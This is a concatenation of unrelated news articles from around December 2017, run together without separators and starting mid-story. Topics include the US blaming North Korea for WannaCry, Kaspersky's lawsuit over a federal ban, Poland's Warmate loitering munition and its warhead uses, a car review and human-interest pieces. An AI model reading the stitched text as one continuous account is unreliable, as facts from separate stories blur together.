The next day everyone arrives and I get there and I explain why Im not singing and I also explained that I should stand just to be clear with everyone that I will be singing on the day and to gesticulate and of course act all the scenes.

Gracey then said Jackman managed to stick to his plan until it came to rehearse one particular song, From Now On.

The filmmaker said: And he did. To Hughs credit he did that for every single number. He stood up there. He was the great showman until one number.

In the video, Jackman is seen belting out the song with the rest of the cast despite the warnings from his doctor.

Jackman has had a long battle with nose cancer after first being treated for basal-cell carcinoma back in 2013 and since having six procedures but reassured fans that everythings fine.
A cyber-attack which paralysed NHS computer networks and led to the cancellation of almost 20,000 medical appointments was masterminded from North Korea, a White House expert said today.

Tom Bossert, President Trumps homeland security adviser, said the Pyongyang was directly responsible for the ransomware attack in May which crippled computers around the world.

Bossert told the Wall Street Journal: After careful investigation, the US today publicly attributes the massive WannaCry cyber-attack to Kim Jong Uns regime. The attack spread indiscriminately across the world in May.

It encrypted and rendered useless hundreds of thousands of computers in hospitals, schools, businesses and homes.

While victims received ransom demands, paying did not unlock their computers. It was cowardly, costly and careless.

Kim Jong Un - pictured watching a nuclear test launch - was behind the WannaCry attack

The attack was widespread and cost billions, and North Korea is directly responsible.

The UK and Microsoft reached similar conclusions in their analysis of WannaCry with Home Office minister Ben Wallace saying in October the government believed quite strongly that North Korea was the prime suspect.

The attack began on May 12 and infected machines 81 health trusts across England, plus computers at about 600 GP surgeries.

Kim Jong Un: The proud dictator was recently pictured with his newly-developed intercontinental rocket / AP

Hard drives and databases were locked up by hackers demanded payment in the digital cryptocurrency Bitcoin to unscramble them.

A National Audit Office report found that almost 19,500 medical appointments, including 139 potential cancer referrals, were estimated to have been cancelled.

Five hospitals had to divert ambulances away from their wards after being locked out.

19,500 medical appointments, including 139 potential cancer referrals / AP

The report found the attack could have been prevented if basic IT security measures had been taken.

All infected machines were running computer systems - the majority Windows 7 - that had not been updated to secure them against such attacks.

Government offices in Russia, Spain, and several other countries were disrupted, as were Asian universities, Germanys national railway and global companies such as automakers Nissan and Renault.

The attack was brought to a halt by 23-year-old security researcher Marcus Hutchins from Devon who discovered the malwares author had embedded a kill switch in the code, which he was able to trip.
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In late 2017 Poland has ordered a thousand Warmate UAVs at a cost of about $28,000 each. Developed and made in Poland Warmate is delivered as a system package. Each one consists of ten 4 kg (8.8 pound) Warmate UAVs together with ground controllers, maintenance and training material. The first of the hundred Warmate systems to be delivered are going to Polish Special Forces and the new territorial defense units by the end of 2017 while the remainder of the Warmate order will be delivered by the end of 2018 and that will include distribution to several key army units.

Unlike similar small UAVs Warmate can use an explosive warhead and become an expendable cruise missile type weapon. Normally Warmate is used for surveillance and can be reused dozens of time. Warmate is carried and launched (with a pneumatic assist) from its box like storage container. The electric motor gives Warmate a top speed of 150 kilometers an hour (41 meters a second). Endurance is 30-50 minutes and normal altitude is 300-500 meters. Range is line of sight and 10-12 kilometers from the operator. The control and video transfer signal is encrypted and Warmate can operate autonomously along a preprogrammed route (using GPS/INS) to deal with jamming.

Warmate can operate in combat mode by adding a 300 g (10.5 ounce) warhead. There are several types of warhead; fragmentation (fragments deadly up to 10 meters), armor piercing (up to 12cm of armor) or thermobaric. While useful against armored (or unarmored) vehicles Warmate would be most useful against snipers or other targets that are a danger and can quickly move if spotted. The fragmentation warhead could be highly effective because Warmate could be flown through a window cave/bunker entrance and kill everyone in a room. Warmate could also disrupt an ambush.

The idea of UAVs used as mini-cruise missiles isnt new. Israel and American troops have been using such loitering munitions for years. Israel has Harpy and the Americans began with Switchblade in 2009. This was a one kilogram (2.2 pound) expendable (used only once) UAV that can be equipped with explosives. The Switchblade is launched from its shipping and storage tube, at which point wings flip out, a battery powered propeller starts spinning and a vidcam begins broadcasting images to the controller. The Switchblade is operated using the same gear the larger (two kg/4.4 pound) Raven UAV employs. A complete Switchblade system (missile, container, and controller) weighs 5.5 kg (12.1 pounds). Switchblade was very popular with troops in Afghanistan and with SOCOM (Special Operations Command) in all sorts of places they wont discuss in detail. Swithblade was a very popular combat tool and was followed by an improved version as well as a larger second generation LMAMS UAV.

Poland provided neighbor Ukraine with some Warmate systems for use against Russian forces in Donbas. Warmate performed quite well against the Russians. Warmate proved very hard to detect and destroy in flight. That was because if used for an attack shooting down a small target like Warmate (coming in at 41 meters a second) was very difficult. The Russians had effective electronic warfare systems for remotely controlled UAVs but were not able to use them effective against Warmate, even in attack mode. Warmate is very cheap to produce and cost effective especially in light of the Ukraine experience. --Przemysaw Juraszek
The Election Commission of Pakistan (ECP) on Tuesday began hearing Pakistan Tehreek-i-Insaf's (PTI) petitions accusing the PML-N and the PPP of illegal and unlawful funding.

Faisal Chaudhry appeared for the petitioner Farrukh Habib while Advocate Jahangir Jadoon will represent PML-N and PPP leader Latif Khosa decided to defend his party in the case.

Irshad Qaiser, a member of the bench, asked the PTI lawyer to explain whether complaints could be filed under Section 15 of the Political Parties Order (PPO).

The ECP's five-member bench, headed by Chief Election Commissioner (CEC) Justice Sardar Raza, issued notices to PML-N President Nawaz Sharif and PPP Chairman Bilawal Bhutto Zardari and Co-Chairman Asif Ali Zardari seeking their replies in the case.

The hearing was adjourned until January 8, 2018.

In two separate complaints filed with the ECP, PTI leader Habib has accused the PML-N and the PPP of concealing their sources of funds and companies registered by them in the United Kingdom and the United States, respectively, and sought cancellation of election symbols allocated to them for their failure to meet legal requirements for eligibility to obtain the symbols.

Last week, in its verdict on Hanif Abbasi's petition accusing PTI of being a foreign-funded party, the Supreme Court had sent the matter to the ECP for investigation.

"The ECP must act transparently, fairly and justly, without discrimination among different political parties," the chief justice had written in the judgement.

"For undertaking such scrutiny, it shall be reasonable for the ECP to examine the accounts of a political party within five years of the objected accounts of that party having been published in the official gazette."

Following the decision, the ECP has begun hearing all illegal funding petitions filed with it. The PTI finance secretary is scheduled to appear before the commission on January 16, 2018 in connection with one such petition filed by PT dissident Akbar S. Babar.
The United States insisted on Monday that Pakistan take a "decisive action against militant and terrorist groups operating from its soil", as President Donald Trump unveiled a new national security strategy underlining the country's interests and objectives worldwide.

"The United States continues to face threats from transnational terrorists and militants operating from within Pakistan," read part of the 55-page document that pertained to South Asia.

The document said that the US interests in the region include countering terrorist threats that impact the security of the US and its allies, and preventing cross-border terrorism among others.

"We seek a Pakistan that is not engaged in destabilising behaviour and a stable and self-reliant Afghanistan. We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a countrys support for militants and terrorists who target a partners own service members and officials."

Announcing the new national security strategy at the White House, Trump said, "We have made it clear to Pakistan that while we desire a continued partnership, we must see decisive action against terrorist groups operating on their territory."

"And we make massive payments every year to Pakistan; they have to help," he added.

In August, Trump lambasted Islamabad for harbouring "agents of chaos" on its soil, as he cleared the way for the deployment of thousands more US troops to Afghanistan.

Pakistani officials responded to the allegations saying that the US should not scapegoat Pakistan for its failure to eliminate militant sanctuaries inside Afghanistan.

The document further said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention, besides preventing nuclear weapons, technology, and materials from falling into the hands of terrorists.

"The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets."

The US also promised to further its trade ties with Pakistan if it helped Washington achieve counterterrorism goals.

"In Pakistan, we will build trade and investment ties as security improves and as Pakistan demonstrates that it will assist the United States in our counter terrorism goals," the document read.
One person has been airlifted to hospital after a crash in Kawerau.

The BayTrust Rescue Helicopterwas dispatched to Kawerau just before 8am, after a vehicle had smashed into a tree.

A spokesperson for the rescue helicopter says 33-year-old local man had sustained head and chest injuries.

He was stabilised at the scene by paramedics before being flown to Rotorua Hospital for treatment.

A witness at the scene says the road was closed for a time and is now down to one lane with traffic flowing.

After flying the injured man to hospital, the BayTrust Rescue Helicopter was tasked by Rotorua Hospital for an urgent transfer of a 47-year-old male who had amputated his finger.

He was flown to Waikato Hospital for specialist treatment.
Kaspersky Lab filed a lawsuit against the US government for banning its software. The Department of Homeland Security issued a directive last September requiring all departments and agencies to replace the security suite within three months.

The directive allows 30 days to identify any government systems that use Kaspersky, 60 days to come up with a plan for eliminating the software, and 90 days to start uninstalling it.

Additionally, President Trump just this month approved a spending bill prohibiting the use of Kaspersky anti-virus products on federal government machines.

The shakeup occurred when allegations that the Russian government had compromised its software code surfaced. This claim led to the security firm being removed from a list of approved federal vendors back in July. Then in September, the DHS officially issued a directive to have the software removed from government systems.

HomeSec issued a statement justifying a ban on the software.

"The department is concerned about the ties between certain Kaspersky officials and Russian intelligence and other government agencies, and requirements under Russian law that allow Russian intelligence agencies to request or compel assistance from Kaspersky and to intercept communications transiting Russian networks. The risk that the Russian government, whether acting on its own or in collaboration with Kaspersky, could capitalize on access provided by Kaspersky products to compromise federal information and information systems directly implicates US national security."

The ban itself is not particularly damaging to Kaspersky considering the small number of federally owned computers that use the company's anti-virus software. According to Reuters, the total in lost revenue from the ban is around $54,000, which is only 0.03 percent of its total US sales. However, the directive is thought to have prompted other US stores such as Best Buy to drop the product. How much this has cost the company is unclear, but Kaspersky is not going down without a fight.

The firm announced in an open letter that it would be challenging the DHS decision in federal court. It is suing on the grounds that Binding Operational Directive 17-01 was unjust in that it did not provide the company "adequate due process," and based its decision on unsubstantiated allegations.

"DHS failed to provide Kaspersky Lab with adequate due process and relied primarily on subjective, non-technical public sources like uncorroborated and often anonymously sourced media reports and rumors in issuing and finalizing the Directive."

The company alleges that the DHS has harmed its business without providing any evidence of its alleged wrongdoing. Despite making what it terms as "good faith efforts" to address any concerns the US government might have about its product, the ban was instituted without the DHS allowing Kaspersky to explain its operations or defend itself against the allegations.

The company did not precisely state what it was seeking in the lawsuit, only saying that it was looking to protect its rights under the US Constitution and that it wants reparations for the "reputational and commercial damage" it has received from the ban.

It is not likely the suit will result in a win. Since the ban was a policy measure, it is not expected a US court would support a commercial business suing to dictate government policy.

Additionally, US officials have indicated that even a review of the source code is not likely to change the policy since many government agencies such as the Pentagon already prohibited the software for some time. Directive 17-01 only broadened existing military policy to apply to civilian government agencies.

Lead Image via Australian Broadcasting Corporation
Back in May, one of the biggest ransomware attacks in history took place: WannaCry. 300,000 devices across almost 150 countries around the world were infected, and while several security agencies, Microsoft, and the UK said North Korea was responsible, the US never publicly attributed the attack to anyone---until now. Unsurprisingly, it also blames Kim Jong-un's regime.

In an op-ed piece for the Wall Street Journal, Donald Trump's homeland security advisor, Tom Bossert, wrote: "The attack was widespread and cost billions, and North Korea is directly responsible."

While the UK had said that it was "all but certain" North Korea was behind the attack, this is the first time the US has pointed the finger of blame. Bossert said those responsible would be held accountable for their actions.

The Trump administration believes "with a very high level of confidence" that the Lazarus Group, the hackers working at the behest of the North Korean government, was behind WannaCry. It was also responsible for the Sony hack in 2014, the $80 million Bangladesh Bank heist in 2016, and recent attacks on workers at Bitcoin companies.

"As we make the internet safer, we will continue to hold accountable those who harm or threaten us, whether they act alone or on behalf of criminal organizations or hostile nations," wrote Bossert.

"North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious. WannaCry was indiscriminately reckless."

Soon after the WannaCry attack, Simon Choi, a senior researcher with Hauri who has studied North Korea's hacking program extensively, said he believed it was linked to the hermit nation. "It is similar to North Korea's backdoor malicious codes," he explained, adding that the country has been developing and testing ransomware since August 2016.

Pyongyang has called the links "ridiculous," and repeatedly denied it had anything to do with WannaCry. It also said that the UK's earlier accusations were a "wicked attempt" to tighten international sanctions on the country.

The White House is expected to give an official statement blaming North Korea on Tuesday.
As phone manufacturers race to implement the latest technologies into their handsets, it seems that self-repairing screens could eventually become the must-have mobile feature. Over in Japan, a team of scientists have discovered a new type of glass that can heal itself from cracks at room temperature.

The new low weight polymer, described in the journal Science, comes from a group of researchers led by Professor Takuzo Aida at the University of Tokyo. It's called "polyether-thioureas," and it is able to self-heal just by applying some hand pressure.

Self-healing polymers aren't new, but unlike most similar types of glass, this one can repair itself at room temperature. "High mechanical robustness and healing ability tend to be mutually exclusive," wrote the researchers. "In most cases, heating to high temperatures, on the order of 120C or more, to reorganize their cross-linked networks, is necessary for the fractured portions to repair."

The Guardian reports that the polymer was accidentally discovered by University of Tokyo graduate student Yu Yanagisawa, who was planning on making the substance into a glue. He found that the edges of the cut surface were bonding together after being compressed for 30 seconds at 21 degrees Celsius (69.8 degrees Fahrenheit). The material returned to its original strength in just a couple of hours.

"I hope the repairable glass becomes a new environment-friendly material that avoids the need to be thrown away if broken," Yu told NHK, adding that he repeated the experiment several times to confirm his findings.

Self-healing glass was used in LG's 2015 G Flex 2, though it was only on the back of the phone and couldn't repair heavy damage.

Last week, researchers at the Australian National University said they made a breakthrough that could lead to the development of completely shatter-proof glass.
If imitation is the sincerest form of flattery, it looks like Huawei is going out of its way to really flatter Apple. Following news that the Chinese company might be adding an iPhone X-like notch in its P11 flagship, the device will reportedly also feature a Face ID-style security system.

At the launch event for the Honor 7X and the Honor View 10, Huawei announced its "Point Cloud Depth Camera." Like the iPhone X's TrueDepth system, this 3D depth-sensing camera features multiple sensors that project infrared points of light at a person's face to identify them.

In the video from Notebook Italia, Honor device engineer Matthew Leone shows off Huawei's new camera, noting that it's both more accurate and safer than Apple's version.

Huawei says its system enables "payment-level Face Verification" and "400ms Rapid Face Unlock." It's available as an add-on module for the Mate 10, but looks as if it will be integrated into the P11, too.

Moreover, it's rumored that the P11 will go one better than most flagship smartphones' dual camera setup and come with three rear cameras. In addition to features like 40-megapixel pictures and 5x hybrid zooming---a combination of digital and optical zoom---it also has a 24-megapixel selfie snapper, according to reliable tipster Evan Blass.

Is the next Huawei P-series going to be an imaging powerhouse? A digital artist at one of the company's creative agencies added these "PCE Series" ads to their portfolio -- claiming 40MP, 3 lens rear (5x hybrid zoom) + 24MP selfie, all Leica-co-developed. pic.twitter.com/t8w3VlL55L --- Evan Blass (@evleaks) December 6, 2017

According to another Twitter tipster, Roland Quandt, the camera- and AI-focused Huawei P11 is set to arrive sometime in Q1 2018. Like its P10 predecessor, the handset might be unveiled at Mobile World Congress in Barcelona, which starts on the 26 February.
Venezuelan President Nicolas Maduro said on Thursday that his country has the highest economic growth in Latin America and the Caribbean, despite the sanctions imposed against it. | Read More
2018 Mitsubishi Eclipse Cross Small CUV Road Test By Martha Hindes







By Martha Hindes

Senior Editor

Michigan Bureau

The Auto Channel

Just when everyone probably is thinking not another small CUV! maybe Mitsubishi, with its new 2018 Eclipse Cross, has a better idea.

Consider this. You're the smaller guy in town and you don't want to disappear into the din of the auto industry galloping into the blazing crossover market as buyers continue to abandon autos at breakneck speed. So you need to think of something different. Such as what can be left out.

The size  a five seater, midway between Mitsubishi's larger Outlander and smaller Outlander Sport SUVs  should be just right for your anticipated market that includes younger millennials. The starting price, a slice under $24K, should be right, inching below similar sized crossovers from competitors.

Mitsubishi could have added layer upon layer of costly, turgid multimedia technology  almost every advanced system in use today has been added to at least a half dozen competitive vehicles. But it didn't. Mitsubishi had younger, trend-setters among its target audience in mind when scoping out what makes sense to include.

After all, many potential buyers are likely to be those millennials of driving age, but not a lot older, who have decided they actually like driving.. They've landed good paying jobs following college, although they're still paying off a chunk of student loan. So price is a major consideration. And it goes without saying they undoubtedly will be tethered to some smart device  likely the phone variety.

If that doesn't set off a ka-ching moment, maybe nothing will.

We discovered what we feel is Mitsubishi think during a driving event in December shortly after press days at the Los Angeles Auto Show.

We set out on a balmy day that, at the time, coincided with some wildfire inferno blazes just starting to crop up threatening prime areas of LA, and that possibly could overlap with the road course staked out as a driving route meant to give us wheel time under different driving conditions.

As always with these programs, my driving partner and I were provided with a booklet and map outlining the day's travel plan, marking off course turns, expected odometer numbers at key intersections, express road entrance and exit ramps and an exhilarating driving course. Leaving our Santa Monica starting point and heading north westerly toward Malibu, it carved its way through mountain passes and canyons guaranteed to separate out anyone tentative behind the wheel.

While we hadn't thought of the Eclipse Cross as mountain-worthy at the start, although Mitsubishi assured us it was, we were determined to test its spunk. So, as the roads climbed with steepening grades, we headed around a day-long series of hairpin curves at speed bordered by rock walls on one side and 3,000 foot drops on the other as each tight turn brought a new dimension for the kind of handling that demands all of one's driving attention.

An adjustable head up color display on the windshield of the top-line, SEL-trim level showed our 40 to 45 mph speed at key points and eliminated a need to look down at the speedometer in mid-turn. That also prevented a white knuckle ride for my co-driver. With Mitsubishi Super All-Wheel Control System (S-AWC) underfoot, we felt secure in the grip and control during tight curves as we lapped up miles of pavement without straining the new 1.5-liter aluminum block direct-injection turbo-engine. The 152-horsepower and 184-lb-ft. of torque seemed more than adequate.

The S-AWC and the MacPherson strut front suspension with stabilizer bar and multi-link rear suspension with stabilizer bar felt firm and controlled when we finally found enough straightaway to give it some tight, sharp test turns. So did disk brakes at all four corners during sudden stops. A fast U-turn to avoid a traffic problem proved a no brainer for the Cross that eased through the maneuver with an unexpectedly tight turning radius. We didn't need the Hill Start Assist on this trip.

The 8-speed CVT automatic transmission with manual paddle shifters had sport mode. But a handling question at day's end by almost every driver: Will Mitsubihi add a sport mode option to the changeable eco and standard modes on a future edition? was left unanswered, just hinted that it might.

Another unanswered question is fuel economy. Mitsubishi claims excellent fuel efficiency, but the Cross that goes on sale in March 2018 is still being tested for those numbers.

Our program version CUV's all had the dual-pane, power-sliding panoramic roof, a first for Mitsubishi. It let us breath air swept clean of wildfire ash that day by the same infamous Santa Ana winds that had turned minor fires in the area into ones threatening major devastation, although we never encountered any sign of flame.

The instrument panel on the Eclipse Cross we were testing had all the requisite internet and bluetooth connections in a thin 7-inch smartphone link audio display controlled by touch that protruded neatly from the center of the dash. But not a hint of a navigation system.

We soon discovered why. One set of driving directions, perhaps done deliberately, indicated a wrong turn which we followed only to realize it was taking us away from our destination. With no nav system to check, we turned to Apple CarPlay and Android Auto voice compatibility recognition for help and quickly were following accurate voice directions that easily completed the route.

Isn't that how a millennial raised on mobile technology would handle it  with a simple smartphone app? We doubt they'd ever bother with yesterday's costly, complex navigation system technology. That's a reality that is saving Mitsubishi a few thousand dollars per vehicle in the production cost of the Cross.

The company also just introduced a subscription-based connected vehicles program, MITSUBISHI CONNECT that launches on the Eclipse Cross.

That doesn't mean Mitsubishi has skimped on the feel good amenities or must have accessories for any driver. The top-line SEL Touring Package comes loaded with such treats as heated front and rear seats, and heated steering wheel. Rear seats have available recline and about an 8-inch track to move fore or aft for a passenger with long legs or to expand rear storage space. We tried it. It would work well on a long drive.

Amenities depend on the trim level from the base ES to LE, SE and SEL with its top-line Touring package. The S-AWC system that's standard on all other trims is a $600 add-on for the base ES that starts at $23,295. A new vehicle warranty includes 10-years/100,000 mile limited powertrain and five years, unlimited mileage roadside assistance.

Outside the Cross has a somewhat chiseled look with dominant styling cues that follow an overall wedge shaped design. A long, oblique belt line incorporating door handles slashes upward and back toward the extended rear spoiler that encases a series of high mounted LED tail lamp lights. The nose bears what Mitsubishi calls its Dynamic Shield look that signals an aggressive, yet sturdy nature.

Colors include a new, rich Red Diamond, named to capitalize on Mitsubishi's signature logo, that's expected to get high marks.

While Mitsubishi doesn't suggest off-roading for the Eclipse Cross, it does include Snow and Gravel as well as Auto in its S-AWC modes. Expected safety features are there, including yaw control, blind spot, lane change and lane departure, cross traffic, forward collision mitigation and lane departure. Warnings show on the head up display if it's turned on. In addition to seven airbags, there's automatic high beam and a multi-view camera system for parking assistance.

Oh, and about that Eclipse name. If you were in the car market about a decade ago you might have considered an Eclipse Coupe with the styling punch of a sporty car. That faded from production. But Mitsubishi puts value on one of its most recognizable company product names of the past.

It didn't hurt that the Cross was being announced last August just as America had a total solar eclipse, one of its most stellar events in a century.

A video of the Eclipse Cross filmed during the few minutes of total eclipse got national television coverage. Not bad for the kid down the block making sure it gets noticed.

Copyright, 2017, Martha Hindes, Automotive Bureau, all rights reserved

Learn More About Mitsubishi Vehicles
Margot Robbie. Photo: Dia Dipasupil/Getty Images

While the rest of us are trying to wrap our heads around the mysterious fact that severed human feet keep washing ashore in Canada, Australian actress Margot Robbie had apparently already dealt with a severed foot years ago.

Robbie recently sat down for The Hollywood Reporters inaugural live movie star summit with Bryan Cranston, Armie Hammer, Diane Kruger, Octavia Spencer, and Robert Pattison, when the Vanity Fair profile survivor decided to share her foot-related tale. The I, Tonya actress explained that on a recent film set, the cast and crew were asked to write down the craziest thing that had ever happened to them, and then try to figure out who said what. Per THR:

I once found  and no one guessed that this was me  I found a human foot on the beach in Nicaragua.

Kruger then asked Robbie, Just the bones?, to which she responded, Just a little souvenir. E! notes that the Australian actress, who apparently visited Nicaragua in 2014, didnt give any other information about the foot.

Relatable as always!
Photo: Chad Springer/White Door Photo/Getty Images/Image Source

We knew the layoffs were coming long before they actually came  like a storm lurking ever closer on the skyline, or the T. rex in Jurassic Park. There was no official announcement at the magazine I worked for, just a month or so of grim, quiet murmurs of Hey, heads up, it might be this week. We didnt know precisely when, but, yikes, it had to be soon if they wanted to get it over with before the holidays.

So the day I got laid off was, in a way, the last day in a whole long, uneasy season of getting laid off. It dawned on me that I was one of the casualties the afternoon I sent a rare third follow-up email asking for my bosss blessing on my Thanksgiving vacation dates. I wanted to get my flights booked. Again, he didnt respond.

Wait. Is it possible that  oh, God. I frowned at my computer screen. What does he know that I dont?

Soon, the vacation email and its eerie non-response had crawled in and lodged itself in my thoughts, parasite-like, scratching at my brain at night while I tried to fall asleep. To this day I dont know whether it was a mundane act of email negligence or my boss not wanting to lie to me, but sure enough, by the time I went home for Thanksgiving, I was out of a job.

* * *

Layoff season  budget-cut season, workforce-reduction season, adjusting to shifts in demand season  comes to companies toward the end of the year the way Santa comes to your house on Christmas when youre a kid: swiftly, silently, and clockwork-dependably, except that one leaves you presents and the other threatens to abscond with your health insurance. And invariably, layoff season brings its own particular type of extended anxiety: the kind that comes from knowing that one day in the near future, you might get called into a conference room, subjected to a corporate version of the its not you, its me speech by an HR representative youve never seen before, and informed you have a few hours before your key card stops working and a few weeks or months before you stop getting an income  or, you might not. And you just have to keep showing up for work, positive attitude and team-player mind-set intact, until the day of reckoning arrives. Someone somewhere knows whether your job is safe, but you dont. You are Schrodingers employee.

In many cases, the waiting is worse than the layoff itself. This is what many a laid-off staffer would tell you, and so would UCLA sociology professor Jennie Brand: When she co-authored a study on the effects of job loss and job insecurity on mental health, she and her fellow researchers found that people with chronic job insecurity had worse mental-health outcomes. It would seem that waiting around thinking that a loss is impending, whether or not it actually occurs or if it was a realistic expectation, seems to have a really negative impact on psychological conditions, she says.

One 28-year-old I talked to, a former digital news editor for a magazine, remembers workplace morale taking a nosedive after a new editor-in-chief arrived, intent on overhauling the whole publication.

We all assumed, because we know how these things work, that there would be layoffs. There always are when a new editor-in-chief is installed and they want to take the brand in a different direction, she says. And it didnt help that the new boss had brought friends.

At the start of her overhaul, the new editor and the people on her team that she managed to bring over [to work for her] would spend a lot of time amongst themselves, she says. That created a lot of tension. An inner circle was forming, and everybody outside it was acutely aware.

It was like going to work in a morgue. Everyone was very tense and nervous and unhappy and scared, she remembers. Some people were very, very confident they were going to be laid off, but they still had to come into work every day. She eventually lost her job in what she refers to now as wave two of a stealthy multi-stage operation.

Waiting around to find out if your job is being axed can be a drain on productivity, too. Sarah, a 26-year-old writer based in Toronto, found out last summer that the digital media company that employed her would be laying off ten staffers within three weeks. Suddenly, it was difficult to focus on the work part of work. It was all anyone could talk about, she says. On Slack, on our private channels  or secret ones where thered be no one from management. It could be me because of this and this and this, or like, My job seems pretty redundant.

Still, content had to be created. Sarah herself was trying to report a story after the impending layoffs were announced, with bleak results. I was calling experts for the story, doing interviews, she says, and I was just kind of like, Will I even be able to write this? What the hells the point?

That story, along with dozens of her other projects and story ideas, vanished just days later. At noon on a Thursday, she was called into a conference room and informed she was being laid off, and her company Google account  including her Google Drive  had been deactivated before she made it back to her desk.

* * *

The mental anguish of employment uncertainty isnt something most people like to broadcast; for most people, its a relatively private hell. But one thing Brand finds in her research is that layoff-season misery does indeed love layoff-season company.

If a lot of other people are losing their jobs around you, she says, or theres a macroeconomic context  in which job loss has become something thats within the national consciousness, or something thats occurring to a lot of workers  theres less internalization of self-blame and potentially less of a psychological impact.

For me, and Im sure for many other media and tech workers this year, this rings true. Before I got laid off, I found solace in the fact that virtually everyone in my industry was worried about their job; after I got laid off, I found solace in the fact that some of my colleagues  talented ones, hardworking ones, popular and well-liked ones  were now also unemployed.

But for some, the dovetailing notions that Youre not alone and Its not your fault make it worse, not better.

Even before anyone was actually laid off, the message they were sending was that this had nothing to do with performance. We knew it was a money thing, Sarah says of her layoff. But in the meantime, that meant staring down the demoralizing possibility that she and her colleagues could lose their jobs even if they were great at them.

Youre supposed to be so loyal to these companies. You get trained to feel like youre part of this team, she says. But it was like a reminder of how, wow, truly no boss will ever care about you.
Wilmington, North Carolina. Photo: Walter Bibikow/Getty Images

The people of Wilmington, North Carolina, are under siege. The city has been overtaken by the overwhelming smell of cat pee, and no one, human or feline, seems to know where its coming from.

Although the smell is reportedly familiar to many in Wilmington (ah!) dozens of residents complained that the smell had become unbearable over Thanksgiving weekend.

I put a pillow over my face just to give myself something to breathe through, 11-year Wilmington resident Nick Zachetti told the Wilmington Star-News.

When you smell that, you dont think, Oh, I want to bottle that and do a Chanel ad around it, his neighbor, Pamela Waite confirmed.

After receiving several complaints, Brad Newland, Wilmingtons regional office supervisor for the North Carolina Division of Air Quality wrote:

I know that the catty odors have impacted downtown from time to time, and in my personal experience, the odor seems to vary. Sometimes it smells like pure cat urine to me, and sometimes it smells similar but different, Newland said, though similar but different to cat pee still seems similar enough to be a problem.

The North Caroline Department of Environmental Quality (DEQ) has begun investigating the smell, and presumably looking for answers to difficult questions like, where is the smell coming from, whats up with the cats in Wilmington, and how much is a bearable scent of cat pee?

This is, incredibly, not the first time the town has been blanketed in the scent of feline urine. Newland studied the phenomenon in the 90s and despite repeated exposure to the scent, found no answers:

I remember standing in a plume of this stuff and taking these samples and thinking, I know Ive got it now. But when I took it back to the lab, there was nothing to be found, nothing to be detected.

The DEQ suspects the smell may be the result of chemical reactions coming from factories, though that sure sounds like what the cats would want you to think.
3-Year-Old Goes Missing Twice in a Week  But the 3rd Time Was Different

A 3-year-old Louisiana boy was discovered shivering in the woods on Friday, Dec. 15, after a massive five-hour effort by police, horseback riders, volunteers and a helicopter.

He was freezing cold and said he wanted to go home and he was hungry, Tanya Bankston, a volunteer who responded after seeing a Facebook post, told Miami Herald.

He was scared as his feet were blood-red swollen, Bankston added. He had on shorts and a T-shirt and no shoes on.

It was not the first time the same boy went missing this week, according to Livingston Parish Sheriff Jason Ard.

This is actually the third time this has happened this week. And, each time he had to be located, Ard wrote on Facebook. One time, he was found at a neighbors home. Just last night, he was found in the wooded area surrounding the home.

Through negligence, he was outside today for hours fending for himself while inappropriately dressed for this colder weather, Ard added.

Sheldon Baker was found scratched up and wearing only cut-off jeans and a white shirt in mid-40 degree weather. The boy was airlifted to a hospital as a precaution and placed in protective custody.

Meanwhile, his parents, Sylvia Baker, 37, and Shane Baker, 40, were arrested on desertion and drug charges. Investigators who searched their home on Friday found marijuana and drug paraphernalia.

The deputies were called to the familys home on Jack Perry Rd. in Independence, Louisiana, shortly after noon on Friday. Volunteers and first responders from several agencies aided in the search effort. Ard thanked all involved for their help.

Independence is about 60 miles northwest of New Orleans.

Some people who heard about the boys third disappearance criticized the parents, while others hoped they get the help they need to take proper care of their child.

The first time can be written off as an accident, but three times in one week just screams child neglect! Haley Corkern Peters wrote on Facebook.

I hope they receive the help they need and if they want to improve their lives to get their child back, I wish them all the best, Mia L. Jewell wrote on Facebook.

From NTD.tv
Adopted College Student Finds out Long-Lost Brother Attended Same School

A college student in Georgia made a heartwarming discoveryafter finding out his long-lost biological brother had been attending the same school, with the exact same major.

Kieron Graham, 20 is majoring in political science at Kennesaw State University. He made the find after his adoptive parents gave him an AncestryDNA test kit as an early Christmas present, NBC affiliate WPXI reported.

His birth mom, Shawn Ghant, made the difficult decision to give up Graham for adoption when he was just 3 months old.

At the time I felt like I could not give him what he needed, Ghant told ABC affiliate WFAA.

Graham had always wondered about his birth family and last week, the test results came back.

I realized my number one match was a guy name Vincent, Graham told WFAA. He ends up living 15 minutes away from me.

Vincent Ghan, 29, is Grahams older brother and after getting into contact, they decided to meet up.

Yall I just found my birth brother. I dont know what to think. Im about to go meet him. Turns out we go to the same college and have the same major, Graham wrote in a Dec. 12 tweet.

The two brothers had no idea they were living close to each other.

We didnt even know what to say at first, Kieron said. He was just kind of like is this real? Youre my brother.

Graham learned that his brother was married and had a daughter, according to his Twitter.

Update: I met his wife, mother in law and my freaking beautiful niece I never knew existed. What an amazing night. pic.twitter.com/tEkHkau6QU  kieron (@kc_graham) December 13, 2017

Ghant said he still remembers taking care of his younger brother when he was months old.

Feed him his bottles and change diapers, Ghant told WFAA. All of that ran through my head. All of that ran through my head immediately because that was my last memory of him.

The brothers are now thankful they can finally make new memories together again. Their biological mom was also overjoyed to see them reunited.

Although its been 20 years, theres not one day you dont think about him, she told WFAA.

The niece I never knew I had pic.twitter.com/i6l5FlbZ55  kieron (@kc_graham) December 13, 2017

Graham also met Ghants 17-year-old brother, Christian, according to WPXI.

All three of us  pic.twitter.com/6e6ceLCyP7  kieron (@kc_graham) December 15, 2017

His adoptive parents have been fully supportive of his journey.

They laughed, hugged, cried couldnt have asked for a better moment between my adoptive parents and birth mother meeting for the first time. pic.twitter.com/Gm79pYk2Zo  kieron (@kc_graham) December 19, 2017

Graham now plans to meet with his fathers side of the family, and the brother on his side.

Another update: I found my dads side of the family and my brother on his side. Hes also ecstatic that I found him. Life is truly amazing. pic.twitter.com/rw3kqs8qI3  kieron (@kc_graham) December 13, 2017

From NTD.tv
Federal regulators are urging railroads across the country to test train operators for obstructive sleep apnea after the engineer in Septembers deadly New Jersey commuter train crash was found to have the fatigue-inducing disorder.

The Federal Railroad Administration will issue a safety advisory this week stressing the importance of sleep apnea screening and treatment, Administrator Sarah Feinberg told The Associated Press. One railroad that already tests its engineers, Metro-North in the New York City suburbs, found that 1 in 9 suffers from sleep apnea.

